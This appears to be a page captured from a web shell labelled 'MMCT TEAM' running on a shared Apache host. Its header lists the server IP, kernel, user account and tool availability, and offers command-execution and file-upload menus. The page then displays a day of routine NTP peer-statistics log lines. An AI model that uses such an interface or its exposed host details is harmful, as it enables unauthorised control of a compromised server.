MMCT TEAM
Server IP : 111.118.215.156  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux md-in-26.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : azasoqqa ( 1858)
PHP Version : 8.2.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /var/log/ntpstats/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //var/log/ntpstats/peerstats.20221231
59944 255.987 69.195.126.140 941a 0.000748211 0.265250169 0.015163307 0.001326188
59944 1309.957 69.195.126.140 941a 0.000711570 0.265219240 0.015210579 0.001309702
59944 1643.990 69.195.126.139 941a -0.000687835 0.261680707 0.015368014 0.000087953
59944 2335.954 69.195.126.140 941a -0.001634532 0.261925879 0.015026036 0.002170129
59944 3366.974 69.195.126.140 941a -0.001320564 0.261213986 0.014971699 0.001772997
59944 3773.962 69.195.126.139 961a -0.000542656 0.262110914 0.015455557 0.000184014
59944 5451.959 69.195.126.140 941a -0.000930797 0.261133458 0.015082249 0.001315809
59944 5863.953 69.195.126.139 961a -0.000235445 0.262173154 0.019116204 0.000396466
59944 6895.959 69.195.126.139 961a 0.000362626 0.262121543 0.015065852 0.000895404
59944 7583.984 69.195.126.140 941a -0.000585316 0.261165748 0.019274100 0.000893311
59944 8644.972 69.195.126.140 941a -0.000324064 0.261211179 0.019318455 0.000839465
59944 9045.954 69.195.126.139 961a 0.000906649 0.262098804 0.015485324 0.001153658
59944 9677.983 69.195.126.140 941a -0.000071102 0.261212219 0.019017694 0.000943389
59944 10750.961 69.195.126.140 941a 0.000070127 0.261224743 0.015343515 0.000843761
59944 11179.988 69.195.126.139 961a 0.001025579 0.262094019 0.015413605 0.000914777
59944 11824.971 69.195.126.140 941a 0.000078555 0.261081342 0.015449509 0.000666160
59944 13318.967 69.195.126.139 961a 0.000895272 0.262103612 0.015425032 0.000434294
59944 13934.971 69.195.126.140 941a 0.000056395 0.261194658 0.019053846 0.000295314
59944 14990.954 69.195.126.140 941a -0.000126049 0.261298290 0.019206308 0.000176215
59944 15437.955 69.195.126.139 941a 0.000754641 0.262108318 0.019416498 0.000192950
59944 16069.957 69.195.126.140 961a -0.000310019 0.261207595 0.015437441 0.000328854
59944 16502.961 69.195.126.139 961a 0.000540333 0.262183765 0.015408159 0.000374292
59944 17535.984 69.195.126.139 961a 0.000474741 0.262077353 0.015174603 0.000405831
59944 18157.005 69.195.126.140 941a -0.000369147 0.261216096 0.019055313 0.000538427
59944 19229.992 69.195.126.140 941a -0.000746680 0.260473237 0.015351069 0.000663100
59944 19642.991 69.195.126.139 961a 0.000525525 0.262163046 0.015250950 0.000250240
59944 20300.987 69.195.126.140 941a -0.000820871 0.260363984 0.015430342 0.000627128
59944 21754.002 69.195.126.139 961a 0.000583347 0.262196865 0.015214917 0.000120728
59944 22375.961 69.195.126.140 941a -0.001413314 0.258994465 0.015159218 0.000839862
59944 22809.973 69.195.126.139 961a 0.000589128 0.262120628 0.015251185 0.000105265
59944 24519.976 69.195.126.140 941a -0.001658132 0.259453856 0.019416759 0.000945387
59944 24964.972 69.195.126.139 941a 0.000724034 0.262002387 0.015516789 0.000210574
59944 25575.984 69.195.126.140 941a 0.000008949 0.261611679 0.019311074 0.001196476
59944 26630.956 69.195.126.140 941a 0.000528416 0.262208502 0.015310887 0.001478189
59944 27065.958 69.195.126.139 961a 0.000854507 0.262003084 0.015253350 0.000276088
59944 28756.985 69.195.126.140 941a 0.000176765 0.262296831 0.015378568 0.001071828
59944 29128.968 69.195.126.139 961a 0.000599530 0.262023540 0.018884405 0.000162667
59944 29813.962 69.195.126.140 941a -0.000133140 0.262228745 0.015339193 0.000847347
59944 30210.999 69.195.126.139 961a 0.000059864 0.261962813 0.015342881 0.000614926
59944 31973.962 69.195.126.140 941a -0.000444271 0.262174362 0.015539701 0.000652365
59944 32377.005 69.195.126.139 961a -0.000096547 0.261979689 0.019655674 0.000668525
59944 33443.992 69.195.126.139 961a -0.000250125 0.261981033 0.019525186 0.000711481
59944 34142.959 69.195.126.140 941a -0.000583623 0.262217200 0.015674232 0.000647894
59944 34497.961 69.195.126.139 941a -0.000209054 0.262013176 0.015389815 0.000559734
59944 35523.958 69.195.126.139 941a -0.000134119 0.261983247 0.015114072 0.000348084
59944 36245.955 69.195.126.140 961a -0.000538084 0.262326333 0.019403081 0.000329718
59944 37294.998 69.195.126.140 941a -0.000581470 0.262228393 0.015285815 0.000209216
59944 37644.993 69.195.126.139 961a -0.000022789 0.261950117 0.015237354 0.000150119
59944 38354.981 69.195.126.140 961a -0.000401988 0.262217534 0.015313646 0.000170692
59944 39731.980 69.195.126.139 941a 0.000017520 0.262008911 0.019013897 0.000174068
59944 40433.953 69.195.126.140 961a -0.000050608 0.262285326 0.015113491 0.000483527
59944 40788.957 69.195.126.139 941a 0.000039647 0.261997376 0.015210928 0.000157054
59944 42552.981 69.195.126.140 961a -0.000042988 0.262243980 0.015233609 0.000399688
59944 42890.954 69.195.126.139 941a -0.000092684 0.261956587 0.015184444 0.000101986
59944 43626.968 69.195.126.140 961a -0.000216733 0.262166522 0.015394799 0.000249014
59944 45032.982 69.195.126.139 961a -0.000061628 0.261972262 0.019438877 0.000070154
59944 45755.975 69.195.126.140 941a -0.000290269 0.262167684 0.019374603 0.000146538
59944 46117.985 69.195.126.139 961a -0.000014254 0.262048393 0.019641436 0.000061382
59944 46801.965 69.195.126.140 941a -0.000320606 0.262197249 0.019189329 0.000168473
59944 47204.953 69.195.126.139 961a 0.000086708 0.262010145 0.015659639 0.000105473
59944 47830.961 69.195.126.140 941a -0.000368129 0.262200604 0.015075579 0.000196834
59944 49284.987 69.195.126.139 961a -0.000018964 0.262227250 0.019001126 0.000066358
59944 49965.955 69.195.126.140 941a -0.000649557 0.262873778 0.015315717 0.000760336
59944 50356.985 69.195.126.139 961a 0.000052804 0.261855659 0.015336260 0.000084281
59944 50996.960 69.195.126.140 941a -0.000373147 0.262227622 0.015114789 0.000783435
59944 52448.977 69.195.126.139 961a 0.000098166 0.262032333 0.019137824 0.000098684
59944 53118.953 69.195.126.140 941a -0.000397455 0.262216751 0.015398551 0.000770506
59944 53506.955 69.195.126.139 961a 0.000044805 0.261985492 0.015257921 0.000062104
59944 55178.991 69.195.126.140 941a -0.000385217 0.262184547 0.015022789 0.000785679
59944 55623.959 69.195.126.139 961a 0.000075297 0.261951372 0.015239346 0.000075615
59944 57335.999 69.195.126.140 941a -0.000391895 0.262243033 0.019454819 0.000162262
59944 57722.971 69.195.126.139 961a 0.000089962 0.262070580 0.019127511 0.000074176
59944 58376.965 69.195.126.140 941a -0.000325056 0.262356728 0.019157516 0.000161142
59944 58774.002 69.195.126.139 961a 0.000217992 0.262092345 0.015205890 0.000168424
59944 59415.979 69.195.126.140 941a -0.000276307 0.262358909 0.015144313 0.000192970
59944 60857.986 69.195.126.139 961a 0.000210397 0.262061801 0.015066554 0.000121411
59944 61566.975 69.195.126.140 941a -0.000187151 0.262447013 0.019476678 0.000250016
59944 62618.976 69.195.126.140 941a -0.000179626 0.262446231 0.015341424 0.000150699
59944 62989.953 69.195.126.139 961a 0.000339615 0.262123537 0.015372004 0.000190611
59944 64735.968 69.195.126.140 941a -0.000138427 0.262569782 0.019368002 0.000788465
59944 65099.959 69.195.126.139 961a 0.000243215 0.262112787 0.015335735 0.000077930
59944 65788.997 69.195.126.140 941a -0.000046263 0.262458808 0.015302532 0.000833693
59944 67228.993 69.195.126.139 961a 0.000218365 0.262174831 0.019442573 0.000133941
59944 67899.993 69.195.126.140 941a -0.000066487 0.262468083 0.015248439 0.000812849
59944 68263.006 69.195.126.139 961a 0.000152433 0.262176471 0.015190893 0.000135550
59944 69324.988 69.195.126.139 961a 0.000088164 0.262108332 0.015283294 0.000166494
59944 70017.966 69.195.126.140 941a -0.000086118 0.262391154 0.015310780 0.000799935
59944 71418.977 69.195.126.139 961a 0.000131235 0.262091374 0.015174543 0.000102100
59944 72154.978 69.195.126.140 941a -0.000033870 0.262623280 0.015463596 0.000838530
59944 73238.991 69.195.126.140 941a -0.000014198 0.262387382 0.015582948 0.000203091
59944 73512.960 69.195.126.139 961a 0.000105787 0.262108594 0.015174428 0.000132372
59944 75353.955 69.195.126.140 941a 0.000139258 0.262400056 0.015294901 0.000319211
59944 75580.008 69.195.126.139 961a 0.000120231 0.262119117 0.015038665 0.000109255
59944 76410.990 69.195.126.140 941a 0.000170342 0.262330293 0.015296657 0.000334841
59944 77721.985 69.195.126.139 961a -0.000028096 0.262148443 0.015440501 0.000142111
59944 78490.981 69.195.126.140 961a 0.000204014 0.262469745 0.019031372 0.000403332
59944 79530.994 69.195.126.140 961a 0.000114017 0.262465851 0.015083969 0.000314607
59944 79884.993 69.195.126.139 941a -0.000044913 0.262083960 0.015631633 0.000127419
59944 81667.977 69.195.126.140 961a 0.000013610 0.262476637 0.015438925 0.000354578
59944 81988.997 69.195.126.139 941a -0.000042570 0.262138467 0.015297239 0.000105123
59944 83767.976 69.195.126.140 961a -0.000054210 0.262435700 0.015207070 0.000402666
59944 84138.966 69.195.126.139 941a 0.000142408 0.262170883 0.015498216 0.000186065
59944 85183.011 69.195.126.139 941a 0.000247771 0.262125131 0.015300227 0.000282313
59944 85877.987 69.195.126.140 941a -0.000099389 0.262399176 0.015324491 0.000400878

MMCT - 2023